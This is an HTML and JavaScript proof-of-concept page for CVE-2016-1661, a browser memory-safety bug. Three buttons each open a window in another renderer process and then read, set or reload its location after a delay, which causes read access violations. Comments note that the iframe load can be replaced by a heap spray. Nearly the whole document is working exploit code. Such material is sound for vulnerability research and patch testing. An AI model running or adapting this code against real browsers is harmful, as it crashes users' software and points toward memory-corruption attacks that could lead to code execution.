<html>




<iframe id="iframe1" src="" style="display:none;"></iframe>






<button onclick='crash1();'>crash 1</button>
<button onclick='crash2();'>crash 2</button>
<button onclick='crash3();'>crash 3</button>




<script>

//the window that will be opened in a new renderer process
var a;


//crash 1: reading a.location

function crash1(){

//open window a in another renderer process.
a=window.open();
a.opener=null;
a.location.href="CVE-2016-1661_.html";

//loading an iframe. This can be replaced by a heap spray.
document.getElementById("iframe1").src="http://planetf1.com";


//reading a.location after a while will cause a read access violation. 
setTimeout(function(){ 
alert(a.location)
}, 3000);



}






//crash 2: setting a.location.hostname,a.location.pathname,a.location.port...

function crash2(){

//open window a in another renderer process.
a=window.open();
a.opener=null;
a.location.href="CVE-2016-1661_.html";

//loading an iframe. This can be replaced by a heap spray.
document.getElementById("iframe1").src="http://planetf1.com";


//setting a.location.hostname after a while will cause a read access violation. 
setTimeout(function(){ 
a.location.hostname="blabla";
}, 3000);



}








//crash 3: executing a.location.reload()

function crash3(){

//open window a in another renderer process.
a=window.open();
a.opener=null;
a.location.href="CVE-2016-1661_.html";

//loading an iframe. This can be replaced by a heap spray.
document.getElementById("iframe1").src="http://planetf1.com";


//setting a.location.hostname after a while will cause a read access violation. 
setTimeout(function(){ 
a.location.reload();
}, 3000);



}





</script>


</html>